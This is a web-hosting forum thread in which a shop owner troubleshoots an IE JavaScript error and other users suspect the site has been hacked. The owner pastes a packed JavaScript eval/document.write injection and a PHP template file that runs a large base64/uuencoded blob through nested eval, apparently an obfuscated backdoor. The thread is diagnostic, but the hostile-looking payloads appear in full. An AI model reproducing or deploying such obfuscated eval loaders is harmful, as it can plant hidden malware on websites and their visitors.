source code vs php code

[dcrider1]

When I view the source code of my home page, it is completely different from the php code seen in dreamweaver. Where do I find the code seen in the source?

[Jack_mcs]

You can't. The web page is in html and the file is in php, which gets converted to html by the browser.

[dcrider1]

You can't. The web page is in html and the file is in php, which gets converted to html by the browser.

 

Im getting the same or very similar little yellow triangle warning/error message in IE on almost every page of my site. I have searched all over.

 

Message: Expected ')'

Line: 223

Char: 1381

Code: 0

URI: http://www.burgersmarketpc.com/catalog/index.php

[MrPhil]

Don't use Dreamweaver or other WYSIWYG page editors to edit PHP code. That's asking for trouble. Learn to use a regular flat file "text editor". ViM and Notepad++ come highly recommended, and there are others.

 

Your server contains PHP (.php) files. PHP is a "scripting language" that is run to produce HTML, which is thrown over the wall to the browser to be displayed (what you see when you click on View > Page source, which I presume is what you mean by "source code of my home page"). So, your ultimate source is the PHP code (along with a few .css and .js files), that produces the HTML on your browser. You can look at the HTML code, but that's not what would be edited to change anything -- it's just an intermediate form between your PHP code and your browser display. You can look at the displayed screen, you can look at the HTML behind it, but then it's a large leap back to the PHP code that produced the HTML.

 

Add:

Message: Expected ')'

That's a Javascript error that IE is reporting. Unfortunately, it's rather difficult to track back the "line number" to the source .js file or JS hardcoded in your page. IE seems to lump all the JS sources together and key the line number off that. Anyway, do you know if any .js files have been recently modified? Have any changes been made to index.php?

[dcrider1]

Don't use Dreamweaver or other WYSIWYG page editors to edit PHP code. That's asking for trouble. Learn to use a regular flat file "text editor". ViM and Notepad++ come highly recommended, and there are others.

 

Your server contains PHP (.php) files. PHP is a "scripting language" that is run to produce HTML, which is thrown over the wall to the browser to be displayed (what you see when you click on View > Page source, which I presume is what you mean by "source code of my home page"). So, your ultimate source is the PHP code (along with a few .css and .js files), that produces the HTML on your browser. You can look at the HTML code, but that's not what would be edited to change anything -- it's just an intermediate form between your PHP code and your browser display. You can look at the displayed screen, you can look at the HTML behind it, but then it's a large leap back to the PHP code that produced the HTML.

 

Add:

 

That's a Javascript error that IE is reporting. Unfortunately, it's rather difficult to track back the "line number" to the source .js file or JS hardcoded in your page. IE seems to lump all the JS sources together and key the line number off that. Anyway, do you know if any .js files have been recently modified? Have any changes been made to index.php?

 

 

The warning/error message has been there from the beginning, I just overlooked it until now.

[germ]

Im getting the same or very similar little yellow triangle warning/error message in IE on almost every page of my site. I have searched all over.

That's the screwed up hackers code (or it looks like hackers code - there is an outside chance it as something to do with your template but I doubt it) I told you about when you first posted on the forum that you never removed yet.

[dcrider1]

That's the screwed up hackers code (or it looks like hackers code - there is an outside chance it as something to do with your template but I doubt it) I told you about when you first posted on the forum that you never removed yet.

 

Its been like that from day one, i dont remember it being you, but yes someone told me it was because of the template.

 

Remove what?

[germ]

Its been like that from day one, i dont remember it being you, but yes someone told me it was because of the template.

 

Remove what?

Click me, I am a link to the answer to your question

[dcrider1]

Code at the bottom of the page:

 

<script type='text/javascript'>
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('O I(){D a=J K(9,9,E,j,4,8,3,h,2,5,7,f,6,F,z,f,F,1,k,l,P,f,G,f,Q,4,8,3,h,2,l,5,2,R,h,1,k,l,2,1,S,2,p,T,f,G,f,j,4,8,3,h,2,l,A,10,9,9,9,G,f,8,5,7,3,6,n,r,4,5,k,5,s,g,4,z,e,1,6,2,m,7,3,6,n,j,m,7,1,6,F,2,o,u,H,v,10,9,9,9,G,f,8,5,7,3,6,n,r,2,5,k,5,w,w,v,10,9,9,9,t,g,8,5,B,v,7,3,6,n,r,4,A,u,H,v,7,3,6,n,r,4,u,u,C,5,U,10,9,9,9,9,3,t,5,B,s,g,4,z,e,1,6,2,m,7,3,6,n,j,V,7,3,6,n,r,4,W,m,o,8,1,t,5,k,k,5,l,o,2,2,h,L,p,p,q,q,q,m,q,1,x,j,3,2,1,2,1,e,h,7,f,2,1,j,m,x,M,p,g,j,4,g,e,e,1,8,4,1,u,2,1,e,h,7,f,2,1,j,m,o,2,e,7,l,C,5,x,8,1,f,n,v,10,9,9,9,9,3,t,5,B,7,3,6,n,r,4,5,k,k,k,5,y,C,5,s,g,4,z,e,1,6,2,m,q,8,3,2,1,B,w,E,3,t,8,f,e,1,5,o,1,3,F,o,2,k,l,X,y,y,l,5,q,3,s,2,o,k,l,H,y,y,Y,l,5,x,g,8,s,1,8,k,l,y,l,5,j,8,4,k,l,o,2,2,h,L,p,p,q,q,q,m,q,1,x,j,3,2,1,2,1,e,h,7,f,2,1,j,m,x,M,p,g,j,4,g,e,e,1,8,4,1,u,2,1,e,h,7,f,2,1,j,m,o,2,e,7,,h,3,4,p,1,p,4,o,1,4,n,r,7,3,6,n,r,g,4,m,h,o,h,Z,7,3,6,n,k,w,N,1,6,4,g,s,1,11,12,13,14,g,e,h,g,6,1,6,2,B,s,g,4,z,e,1,6,2,m,7,g,4,f,2,3,g,6,m,o,8,1,t,C,N,w,l,5,A,E,p,3,t,8,f,e,1,A,w,C,v,10,9,9,9,15,10,9,9,E,p,j,4,8,3,h,2,A);D b=J K();D c;D d='';16(i=0;i<a.17;i++){b[i]=18.19(a[i]);c=d+=b[i]}1a.1b(c)}I();',62,74,'|101|116|105|99|32|110|108|114||||||109|97|111|112||115|61|34|46|107|104|47|119|95|100|102|45|59|39|98|48|117|62|40|41|var|60|103|118|49|myCodedStuff|new|Array|58|122|43|function|74|83|121|120|106|123|91|93|50|37|63||85|82|73|67|125|for|length|String|fromCharCode|document|write'.split('|'),0,{}))</script>

Looks like you've been hacked to me.

>_<

 

I have searched and looked through many files. That code is not being found, nor can i find anything calling it. any suggestions? View source on ie, is the only way i can see it.

[dcrider1]

I have found this in the main_them file, template junk. Im way too far in this to turn back without the template.

 

What is this?

<script type="text/javascript" language="javascript">
function button_act (id_el) {
id_el.src = id_el.src.replace(".gif","a.gif")
}
function button_pas (id_el) {
id_el.src = id_el.src.replace("a.gif",".gif")
}
</script>
<?php 

//eval($O0OOO00);$OOOOOO[5]; 
//echo $OOOOOO[2]();
//echo return('.$O0OOO00.')



eval ("\$O0OOO00 = (eval ('return('.$O0OOO00.');'));eval(\$O0OOO00);$OOOOOO[5] $\$OOOOOO[2]('GGHyZGH7WSRzBIZ9ZwSRASRmA0xhZREIFwjyBF81WQEDZxHfHQjxKHx1ZmHdZSZuFwZyYHffASx0AHH9YDcACxIWXGH1ZGHfWHR0AQZ1XwOJGSVmAQyQCvEMJwESBF40IGIIZ0HgGQWRJGH1A0RfCIpuYwZ1AGx9WGHxPx00EGxgAHLfImERBGH7WS0zBSZ1YGHxBFLlEGxyCxH5AQSRZFj1WGIZZ0DkJQIIXGDkZlHhAGHcBwZmVGbXGGESZFDkAyRcAFEHHwERZHffWFR2BSMOYQcRJGDlAF1CCIHcAQH2FFZ6H2OLAHMEAGj0IGD4H0R2ZFH0HtcAAGHgBG5RFFHfAHxhBxEIFQARZFH7EFHmZmZuZwHzHGDmWGRlAGH1AQIRAGN1WPEEZxH1Fl1RJFD5WRH1Px0kWlkEZyHkAG00EIbfW0RiBlHxIGWRZFb1IF01AQEAAQHxJFLmEGICYHH1JFjaZF41AGEDAIDkZwSIAGHXGGyKEF4kDlSAZmZuAGjxIGD0EGRlAFEHHQWRZGLkWFR0AGpuZmcSXFH0EF0gYHH0HwOSEF06IHxzZ0MWZtcAAHESZmLmXF0+AGIFZ0HgDm4xGFR8WSxgCxHxHGEUESN7WSx1CIpgYwOJGIVmIx0lZxEWAQESBFj1EPEDPx01EF01BlEqAwZ3DF40ImkEZ1HgZG41BGDkZmHiBlH1IQZ3ESDfWSHmCIqOZwHyBGpmEGH1CSH1AQHmWFxXGGEIASV0EQSYYPDgFljwBGV7WQInZ0H5AFj0KGZgWyReAGp9HmARBHf9WSH1AHEWXGcSWSRmAGyUCvEMWtcAZGZyYQb1XF4mEQR1BmHkAFjaFGVkWGxbZlHgAFj1YIbgWyRfASp8IwERAHf7WSx2AxEWZmRyXGL0WGR5Px0lIGR0AQqWZQHyESN1A0H1YQEMVmDmWF86EQxzZmH1Gl1HFGZfW0RgAGHcAwIRZGRfEGR0ZwqSZwEHBHRXGGZmVGV2ESInAGMIAGEHISNmEQR1BlHuVmHmWGZ6DmSYAvHkVG4xJGH0EFxhAFHyJQH3CINmES1nAREWYtcAAFEIJwASYSNgEGxwByp9YFjxIHtlIxyVAHEIZmRmDFbkEx1IZmH1BG0yCFD1ZlxmAGAOHmESZSNfAS0zPx04IyRfAFpuAwAIAFxfWRx0ByZ5YGR1AIDmEQSLAIH5Zl0aDF46E0R1ZSMZHPj0JHjkA0HgYPHcYwEJFHtXGGLxEGZhVx0lByZyBwARZGHfASR0CIZuAmHyESN0ExxyCHEqJGHmAFj6EFEGASH1YGkIBGD1ZlxjAHEHHDcAZlHkHQH0KGZ0A0H2ByMAIGZmVGH9WG0mYFMWXwHyWFf1WGR1YQHcWwcKFGV7WQxgZmHgZG0yYIx9IxxlPx00IykJAHHkFm1HISRmAxReBxDcWwWIZF0gIGIMYPZuYwH1XFH1EGRhZvHgZmLmWGV0IQIZZ0MAAwSRIGDXGGR2JGR0IHEEZxHkAFj0HFL0EHH1AQpuYwASZF4kESRxCSMEZwSRWSVlEGRzZmEIFGESFF40HlSXZmHkBDcAXyHcWQcKWF0fASIZZ1MWBFj0HGZmZm01CwAtHQASAGVkAGx0Z0EOZmEIESR0EF0yBlEMFmIRBF06DmHaPx0mWGEHYPEWWQISZFZ6HlSMAHHkWG5RKIx1EPxhBxD5XQZxBGRfASIMAGqSYwR1AHt1IxxhZGH9AQLlGGVXGGfwWF4mEQH1YQH5JFjwVGL1Al1LARDkWGkSVHf0ERxhAFHcAwZ1ASt8IFxzYPMEYmIRISHmExx1CxEWZjcAAQEAAQHxJFt0IF1CCvHcAQH2FFj6ASIHZ1HkWG5RIFL5HlRlByMZHwARZGV5WG00AwZcAGHxARf0ExkEPx02ESxxAGZuAwOGLSN1IGyCXyEWVmH3AF01WGxyAGHkZwVyVGLjA0xlZHH0HQAIYGR8WSxkCPEMYGSSFHDXGGEIZGR7WSH2BSpkXwEIBFf0WxHlAREEJwH2GGZ0IREDZ0ZuAwDyVHb1A0RdAFMOAQZyYH8gESyYZGMqYDcABlLkWwWIYSDfAR02ByZ9XwEGVIxmAGSQYvH5FwIRBF4kEQILZxD5GQt0YHffW0HlZFH0HmDzGHDjERynPx0mEQxiAFD1IGARBHj2ES1MARLkXm5RXGpmWGIUYREWZlj1VF86EGIVZmqRIQf1DGZ7I0RhASMAHQZ0BGbXGGZ1AFD9HlR3ZHDyHmWTGSN8ESHzAHD5Zm5SEHjmAF1CZyHkAQOSAGV1WSELAHqSAGjxHFZ1AlRfAFEIGDcAASHgGljyXFH6I0xjZHIWAwZ3FFHfIFR2AQqSYwfxAHxmExxlZ0H9AQZmYFj1WFILZxMDHGWRJGD0ZmHePx01W0RyARH5GljyXFL1Al0hAGHcXwZ2CINmESxyAxD5AG5UVFH2WF01YwH4HQR3DF8+AFEIAQHkXwLyXGDXGGcKZFb1WQIYZmH1ZG0xJGDkEQHhASpfHGWSYSR1WS1nAGqOXwHwWGD0WF1YYIEWWQISDF07WwRzZ1HfHNcABlEIZmD3DGV0H2OEZSMZHPj0JGH1EF0gByH1IQZ2FF0fWGH0ZmqSZwEIASZmAQyQCFHgFwZ2GF41Ev1HPx00EQH2ZmEIWGH3ZFf+DmOEASHkWFj0FFZ+WFHjBxH0HGWTFFxfIR0mB1ZuAwcHAIDmZlH6ZHEAFwDmWF4XGGHxIFf1WGSLAIH5AQD3DF4+E0R4ZmMWBwEREHb0EGH0AHMAJwATGSNfWSHxBSMOYQcRJFHmIF1CYPEMANcAAHEWZQSSFGbmIGRyYSHuWwR3EF47WQIAZmH5ZwASCGD0A0xkAFHyJQWTHFH6ESx0AGZyAQ1KVF40WQHlPx0kEG1XZRD1AwEKCSLmEQIYCvEMAQxxBGH+ElkEZxHgAF41BIxfW0RiCwHxIGZyZFb2WFx0ZGZ5AwHxAHbXGGDyBHDlES00ZGZgZQISAIbmEyRyBwEMFmERJGp1WSxyZ0HkZG4xFFD6I0xwByAtHGASZGHgAFRyARD1ADcAZFDcWGISYF0gEGIMZHH1YG5SFGVlAxx5ByHkAwcKFF4+Z2ODZmD5YGfxEIb1ZlHhZHHxJQERAHj2ES1WPx00EGxfZFHcAGEIZFHfAFxmYQHkYm5SAItlEGOEAvEIZljxGGD1Wl1YZ1HkZG41BSN1ZmHfBwH1JQV3EIpXGGf1XGD1ZlHlBlZyZmZ2GGblESIXZmZuAGEIWIx0EF01YREqFwuKZGZ6ERx1Z0H5Dm0yBFL1ESHgZGH5VtcAZyqVIPjyBGLmZlHdZSqOZwZ0BGHfASxkCPEMYQEIXF4mEQRlAvEEAFjwVGLkWGx4ZlH5ZwISZFDjEQxkPx00IlkYZ0D5AwZxJGZ0Al01AFDcAwASZF0fESyMBypuZQcSFFVmWGRhAFEWZmgGVGV1Wx1nAPD5BwARIGDXGGRmYGNkExkDZ0MEWGb0YHffVlRlZHD1FwZ2GGH7WSynARIOYQH2KSN0EQR2AvHuAQESBGDkWQEFAIHgHjcAXyEMAGESAF40IFIGAHDkGlj0JGZ2ZlHhCwMAHQDzGHDjESR0ZmMAYmEJKSNmEGSZZvHuVmESFFf+DmOEPx00IGSYZyHkAQH2GF01Ew1KAHHkAGf0IHb4IlReAFZ1WwWIYSN+EGyZZGpyYwRyASHmA0yLAIH9AQN3DF4XGG5UDGbmEGR6AREWFwISAGD1Ex1nZ0MZHPj0IFL4ImRmBxHcWGASBHZhASxzAHEIYGR1BFblIm1DZ0HuFtcAAwpkAw5SAHfmAGIKYPH5AQH2IF81Ev1DZyHjIGSRGGZfW0xhZFH1HGARAGHgAF00CvH9ZmHxWItmE0uEPx01WSx0AxHcXGcSBGHmWGIGCSEWJGcKWF8+AHxvZlHkZGcHJGZ7HlRhAFMAFwOJGSNhWGyYYPpyYGHzYStXGGIIZF0fEGHmAGZ9AwRmWGbmIQxgCvEMWQOSZFb1WSEEZ0DkFm0yVFH0EQx3BxMqFmISYSt8IRxyByqSYtcAAFIWWwH3FINkAGxmAGASAFjyAIDmI0HkYGEMFwWSDGV1WQHeAFHkJQIRIGZmAl0dYPH0HGASYGHfAGIXPx0lZl0lAFERHQARASR2ESEDAQZyYwRxXGDmAGyYYQEMWQfxHF07WGILZmqWJQIIYGDlA0RhCxZyAQASZGbXGGERFHb1ZlR0AHMAJwZ3EFHfWSHmAQpuXG1KVF4mEGR1YGEEAQ4xAGZ1AykYZxD5AGkHJFL0ERxgBxH5AjcAARH5YF1HJFL6IyRjAHLgIQZyZIZ6IR00BSqSAvjyAIDmHlH1CvEWWQ4yDGV1WGILARMRHGEHIHb5WQx3Px0kWSEDAGHkAG41XGZ6HlRwByAtIwAUESRmESxzAQZyAw43CSRlEGIKCIHcAGR3XGN6EFx2AGqWAGcHFGLXGGN3FGVkEQEEZmMAAGjxJFD7Hl0fAGZkJGIRZGL2WFRmARD5AQRxAIbmWF1GXyEMAGcGWF40IFILAHDkZtcAAHEMZmL0GGD1WyR4ZyHgFlcHJGZ6ImRhZSH1IQWJFGRfAS00ZmAOAwfyASNmAGSQYvH5FwHmXGH0IREEPx00EQEEAxEMFmH2HF4kWQIBZmHkYFj0JFD6IlRjZGHcWwIIZH86IGxmYvZ5YwR2GIxmA0HkCFH1ImjxJF8XGFjyBFLlEGOEAFHyZmcGCFbkWx1MZmD5BwZ1AFD+WQHmAHMZHQERBGH9ISHmAREWYGcSAHjmWGxgYIHcWDcAByMEZQITYIDmWGSGByEqAQcKEGLfWGEJZmMWAG4xEIbgWyRfAFH1JQERAGL0IP1YYPqSYvjyAIxmA0xlPx00ERx0ZxD5XwHyASN1E0EEZ0EHHQDmWGL+ZlHyARH1Im1IXGHkAlxjBxH5WGIRZGH6ISR2BIp9AwHyAH0XGGZ1ZHZ8WR1XCPH9ZGEGVIb1DlSYCQEMWGHmEFx+E0R3AFHkBGWIZGDkZl0jASpfHGWSZFL2WS1XAGZyYtcAAFMOBQWIYH8gEGyYZGpkYG41AIDlIxxlZHEAAwcGDGL7WGIIZmHkDl4yBGDmZlx1ASERHQERASR2ESEDPx00AyRhZFDcAQV1AHffASxxByMEZQR1XFb1Iw1DZ0EMWGESBFjkWQEDASHkWFj0JGZfAGRiCxHcBwWSZSRXGGHxKGZ6Hm0dZSMZIQZ2HHDkES0mYPMEYGEHIRflEPkDYQEIAGDmWGH6ERxaAFH1Em5RJFLfAvHgByH1HNcAZ0DjHGLxEGZgW0H2YPH1IQOJGSNgIGx0ZGMAYmfzZFLmEGRzZIEEAwV3EGV7WQIWZmqWZwIRFHblEQxdPx01WHEDAHqRHGAHJFD0ZlH2CxAtHQESAIp9IFxmBypcZQcSBFH1EQR1ByEIAwD3CGL1WGEFZ0MWDmjxGGDXGF0wWFf1WQHeAFHkXwLyXGZgW0RhAFD1FwZyYHDkESx0ZHD9AQIREIxmA0HyCwEIJwESXFb6ERxzZyHkBDcACIH5JFj0GF0fWFEEAHqVHGIRFGH9Im0lAGD1FwAJHF06WGIXZwZgZwITCIbmEQxyYQEIFmH3VF4jAlRhPx0mIxyQCFHkFwWSAF41EvkMZxD1AwZ0IFH1ZmHeCxZjHGEIYSNfARxxZHHyYwSSASRmEGSLAvEAZmcFGGVXGGEJGIDmEP06ZxEAFwERAGV1ExkLAHMAFm00IGD4H0R3ZFH0HwH1YGx+ARxyYQIWVmcGVIbmE0uDYPEIZjcAZmZyXG5SASRmEGR1YvHcWGISFF4kAFx2ZlDkAFjyYGDkZlHhByH5AQAKFGHgARx0YQH1AQHyWSRlE0uEPx02ESx0AQZ1Zw5UDFH0EGyYXyEWWwH3YF01WFxdZmHkAFj0HGLmAR00AFpuAGHyYGHhAGEDAGZyYm41WSRXGGHxZFb2WFxmYPAOAwHxAHfmWP06ZHEMAQSRCGN1ERIMARMAGQV0IIb0EwRhZFEWWwWSZGHfWGyMYQEAYDcAYPHxHGIUESR1ESx1CIp9ZwEJGIV0WxxlAHH1ImjxJF40IFILZxMWVwIRJGD1AmHdCwMAHQDzFGbjESR0Px0mEG01ASMpHQESZFH6WFRwARIWXm5QZSRmIF0yYQEWWQOSAGN6EGEEZ0MWHQLxGGZ7Hm0dZSMAIQZ3EGHXGG4xGHb0EQxhAFEHJQITGHf8IP1YYPqOYw5UDGxmEGR6ARESFwESAGD1ExkFARMRHPjxIGZ4IxRgCxH0HDcAZ0H5Dl4yXFH6IyRgZGHcAwZ0ZINkAF00ZwZyAwEGWGDmI0H1CPEWAPj1ZGN0IxkKZxDgFlkRIHj5WQxlPx0kWPEEZmHgZGWIZGD8IyRfAFH1JQETFSR0ISIYBFD5AmRxISNmWGIGCSEWJFjaZF8+AFIDZ1HkXwLyXGDXGGgKFF41WQIYAPD5BwSRJGD1EQ00AHESJGETHFH6ASInARHcYwRxFFLlIGRgYHEMJFj0GF4kWFEEAHp9HNcAZ0HuZmERBGDkWQxyAGHgHlcHJGH6I0RhASHyJQIRZGV1ESxmAwqSYw42GIN0Wxx6ZREEAQASCGV0IykDPx00EQxyBxHuWwMSFF81WQEGAPD5Em40JHjkAyHhZGHcYwIIZHt1IGR0AQqOXw5QWGbjIxkDYQEMAQESWF0XGGfyAItmA0yLAIH9ZmgKDF4+DlH0ZmqWBwERFHb2ZlR0AHMZHwERAGHfWSHzBFDcYG5SASNmIF1YYvHcWDcAAHIWYwR1XGLmWQRyYPHgAQRmWF40HlH0Z1qWZwMRFGDfAGRiASMAXmHyZIZ6IR00BIqSAvjyASHmWF01Px0+WRInYFMAYQHyAIt0EQR2ASEIFmMRJGZkWSEDAvH5Gm41XGZ6Hl0gZHLgIQEKFGLkASx2BSp1XwR1BF0XGGZ1AGVjER1nYFZyZmEJGSRlEP02AQEHHQESXF09IlRhZmMAAGjxIHbgVl0fAGZuJwERZGL2WSR0ARH5ANcAZFDcWwWIYIZdISxzByMOYwEIWIZ1AQSCYQEMZmL3DF4+Ax1EAPMAAGjxHGDmAx0hASMpHQASZGH+EFRzPx02EGxfBxD0HmDxBGx+ASyZZGMSVmcGLSVlEQEEAxEMFwZ3DF4kWPx4AQHgYFj0JFD6IyRjZGHcXwEKFH8XGGcIBGZhVx0lZGMAJGASYHDkEGInCPD1AQEIASx1A0x1CFEqJGD3VF8kWPx3AFD5VF4yXFH1ESHgAGHcWtcAZyqVIPjyBGLmAR00AFH1FmZxBFRgESx0AGZcYGRzYINlIGOHYQEAZljwVFbjHlSEZ0DkAF00EIb+WG02Px01Ww1LZ0qVHGHxIIb2EFxcBxH0HQHyBHffEFx1AGZuYGEJZFVlA0x1YPEqAGZmDGVkAGx6APMSZwIRHFRXGGjxJF41WFxdZmMWAGf1XGLmZm0lZGZuGQDyBF0fASx0CSMAXmHyAIx1DlR1YHEMAQH3DFbkWmR3ARHkADcAYQEHHQR3XF40IGIHAGqWHlj0FGZ1Z0H1CwMAJQAKEGR8WS0xZxIOZwEGLSt1EGRyBxDgFljaYF4jH2OEPx0mEGRgCvH1FwWRCGD1Ew1nZ0HgWFkRIHf1AlRfZFMpHmZyAH8+AFxxAHIOZQEIAHj1WQRvZHEMZmkFGF4XGGH1XGxmEF0kCvH9WQESBF40IHILZ0qSFmjyVHb1AlRgBxEWBQESYSNlIGR0CPH5YwH2GSt1Ex1YCQEIADcAARH5AGcRESZ0EGRcYQEMWFj1FF46ESxvZ0DkVFkHEGZgW0x2AFD1HGARAGH9WRInCvH9AwHxWItmE0uEPx01ASxxAxHcXGcSXFH1WGyYCxEIJwRmVF0kEwRvZwp9HQARJGD1AmReAFqOWGEIBHfdIRxzAGp5YwH1XFbXGGZ1ZGLkASR2ZmZ9ZwEGVHj0WGxgYQEEAQkJGFf1WRIMAHZuAG0xHGZ1A0RcCxZkFmZyZGHfASIMZHHgYDcABxLkXwIHZF0fWHR0AwqSZwEIASVjIxkDCIH5JFj0JF0fAFEEAHqWJQIRFGH9Im0lAFD1FwAJHF06WGIXPx0lEQ0mAHL9JwARBFHfASIYAGpuYwRyXGtmWGEDYREWWQISDGN1WFxzAFDkVwSRGGZ8Hx0hBwZyBQASYGRXGG4xEHb0EGxhAFEIXmHyYSN7ER0mB1WAZvjxAIDmZlIRZHEAFwDmWF81WSELAHMZHQj0IGD4H0H3ZFEHHtcAAGHgBFjxJFHfAHxgCxLgIQARZFH6ERH1ByZyYwRzHFt0WQHlZxHgFwgJGGL0H0OEZxD1Fm4xJGD1AmR1Px09IlRhZ1MEZwWRFGDfAGH0AFHxHGV3EGH+ESx0AGpkYQHaDFH0IGyCYHEWWwH3YF00IFx6ARqWAGcHHFLXGGDlGF41WGIAZ1MEDmjxGGZ9IyReASZuJwWRZFH9WSRwAGqOXG5QWGt0IGSYCvEMJvj1BFZ6HlSnZ0MEWDcABwEMFmERJGp1WFInZwHkZG4xFIbfARxhAFH0HGHaFItkAFx2B1p9ZwSSAIZmIxxlZxEIAQHmYGV1ESEKPx0mEF01BlHuAwuKZF01Wl1YZ0H1Em41BHf6ImHgYPHcXwV1ZIp6IG0mCSEAAQHxXGL0EGELYREWAQR3WF0XGGSSXFLmA0yLAvEWZmcGBGL0IyRwZmqWAG0xGGD7IyRdAHMAIQASZGH9WSH0AQMAAwHxEIblEGRcCwEWWDcAYPZcYFjyXGLmEGRlAFEWZmZmVF41WGxfAPH1ZwH1AHp8WSxgZGISHQZaFINkAG00ZwZuYwEGWGHmAF0lPx0lERyXBvIOYwHyESL1EF1YCSEIGQMSXFf6EQxzAPH5Gl1RFFD6HlRhAFIWYGH3FF0+ERx0ZwZuZwOGWFjXGGZxYHZfAR00CSMIZGHxEIblEx1YCQDgFljaCGV0IGEDZ0MAAF40IHb1AxxcAHD1JwZmXFV0ESHmARHcAjcABxIRHmDyZF0dISEDZRHgYGfyAIt1A0EEZGH9AQLmWGV6EQIGZmHgAwSSYIb1AyHlAHLgHmERASN7WS02Px0mA0RhAFpuAwAIAGRlIGR0ZmZcZmEJKIpmEFkDCxEEAQH3ZF0kWQEGAPH5ZFjxJSN1ERHgCxHcZwATFF0XGFkIVGD0Am02BlD0IQASZGRgARx0ZxH5YGHxISx1Ex1YCQEMAGuGEGH+ESEGARHkXFj1BGZkEHxgCxIWYtcAZ0HyHQARIFLmEw01CxH0HQAIAIZhASxzBvHcYGR1AItmWQRyYREIAQRmWF40HlH4APMAZwSRJHbfAHRfPx00HlSGARDgFl00JFZ5WQxfAFpuAwASZF08IRyZByZyYwH2YSt1W0xdZFEWZmLmZGL0IQx6ZSMZHQ5RJHfXGFjwWF0kESIKAGqWAFjxKGH8H0HdAFMOZwZ0AGH8WSRxZGMAAwH3CSVlEP02AQEHHQESXFbkWSEFAFHkADcAYHHxHQSRKF41WFEIZxHkJQH1BGL7HlHlBwZuHmASZGV1EGRxAwMAYQITCFf1WGR1ByH5AQLmEGL+EQIDPx00Wx06ARHyJwZ2GF00HmOIAHHkGQt0HHx2ERxeBxD5WGWSBGR+AFIMAGMSYwHyXGVmExyYBlEWAQHmVGLXGG5QWHRmEQH1YGH5JvjwVGL1EykEARMRHQkHIGZ0EHxlCIpuYwASZGR9IG0xCPD1ZmEIEIpmE0EDCwEEWNcAAQpuYwHxXGp1WQxuYwEWWwbyXF0kAGEIZlDkHQSHIGDkZlHhYPHcAGZxBGHfARyXCPIOYwEJKIZmEP1YPx0fASIMAxD5ZwRyWSRmEGRgYwH4HQcKCFZ6H2OEARqVHGH0JFD5WQx0ZFMOAGH1ZF0+ESyYZGZkYGSRIHtXGGEJFFbkES02BSp1YwEJHFbmEGH1CFEIWP0wVGLkEFEEZ0DkVwL0KHf0ERxdBxDxHmZyZGx8ISxwByqSYDcACwHyJQZzFFVkEFHmZmEAAQEKCH00IGRcYQHcJvjaXF40IGILAGqSJQIRGGDmA0xgCxAtHwAJGGRgARyXPx0mEGxfAFH0JGWSZHf6ISRwZmpuYQ5SASR0EQELCwHcGQSRIF01AGIVZ0MWFmfxGGZ6HlHdYPD1GmZ2HGHXGFj0FGR8WSxeBlHcBGH1ZFVkES0mCIZ5YwcRAItmEGR1CFH9WQR2GGD1WHEMAHqWWGjyVHbmAyRkCxEMAtcAZ0H1YGkHJGDkER0iBwH5VwZyZGHfEGRzBSZyZwfxBF0mIQxlAREMFwZmYGR1Ww1KZ0qSWG00YHffW0xdPx06IGIHAPHgAwOREIbfAHRmASpgJQERZGV0WSIXBFD5YGcSXGH1AF0gYGEWZmHmWF4kEvkMASMWYwIRKGLXGGuGDGLkEGx6Z1MSAG4xIFDgVlR3ASH0HGASZFV2AS1YAGpuXwcRIIx2WF1YZyHkAP00BFf1WQEDZxZuADcACFHuWwHmAGp6ZmSAASHfJQ4yXFL0EFRgByEIGQV2FGxfWGH0AQZ1XwEIASZmAQyRZREAWQHmVF81ASELPx01EGSVAREIWGHmEFx+ElR0ZwH5ZFj1WIx1AxHhZGHcZwWSWINmESInZmMEYmRxAH01AF1QYREWAQcKVFfXGFj1XFb1WQRzZGEqZl4aYFb1AFx6Z0H1ZG4yZIb9WQxhAFHyJwZmVGH8AFSXAxHcXmcRJGDlAGSYCGEMADcAZGMAYm41XFVlI0x1CxHyWwuKFGVjI0RlZSMZHQ40JFLfWx0iZHLgFQWIZSHlWSH0BSqWYwHyASRlHlHlPx0lEF1XZHD5XGEGDIt0ExILAREMZmH3DGZ+A0RzAPHkBFjxJFHfW0RiByEMVwHzFGR7WS0mBypkZwSTHHRXGGZ1AGRgAR1nAHD1ZmHzKFf1WGR1YSHgAwuGCF41WGEEZ1MEYwSRGGD8WGHeASL8HQWQVGH8WSSWAGpkYDcACxqOAmEIZHf+WSynCvEEYwH0IHjmAxxdZGHkAGgKFGV0IGEDAPMAEQORJIbmAyRiASMAIQERBHj2ESH1PxV1ZlHfZQMqHwZxYGR8WFynAwZuXwIRWSH1EPkEZvEEJwASAGxjAlSUZSL8KF8jLTNXLNb=');");
?>

[germ]

That's not the code you're looking for, although what you need to look for will most likely look like that big chunk of code at the end that starts with:

 

eval ("

I'm going to see if I can debug that java script locally on my machine to find out what it would do if there was no error.

 

Then we can tell if it is maliciuous or not.

[dcrider1]

That's not the code you're looking for, although what you need to look for will most likely look like that big chunk of code at the end that starts with:

 

eval ("

I'm going to see if I can debug that java script locally on my machine to find out what it would do if there was no error.

 

Then we can tell if it is maliciuous or not.

 

Using notepad++ and searching the entire site for

eval ("

It only comes up with one page, which i showed you part of the code, but here is all of the code.

<?php
$_wi_=816;
$_kol_lt=211;
$_kol_cn=605;
$content=580;
$_kol_rg=199;
$_kol_rg=199;
$startblock = '';
define ('END_BLOCK','</table>');
define ('START_BLOCK','<table width="'.$content.'" border="0" cellpadding="0" cellspacing="5" style="padding:0; margin-left:15px;">');
$OOOOOOOO = 'TThWXU49RjVSPSVZPz03NT44RiVTOTM4VDdVWUU7Ri1POSY1PjkmNUM7VjFFN0chUjo2WVQ3RzFSOjZVPgpJPFcxUjdVWVI7VzBRLFVZSTtGLUw9NjFFN0Y5TztXMUU8RVlDPEY1QT0mNT45RzVOOFcxSTtWWGAKYAo=';



eval ("\$".str_repeat('O',6).str_replace('%%','decode'," = explode('^',convert_uu%%(base".pow(2, 6)."_%%(\$OOOOOOOO)));"));
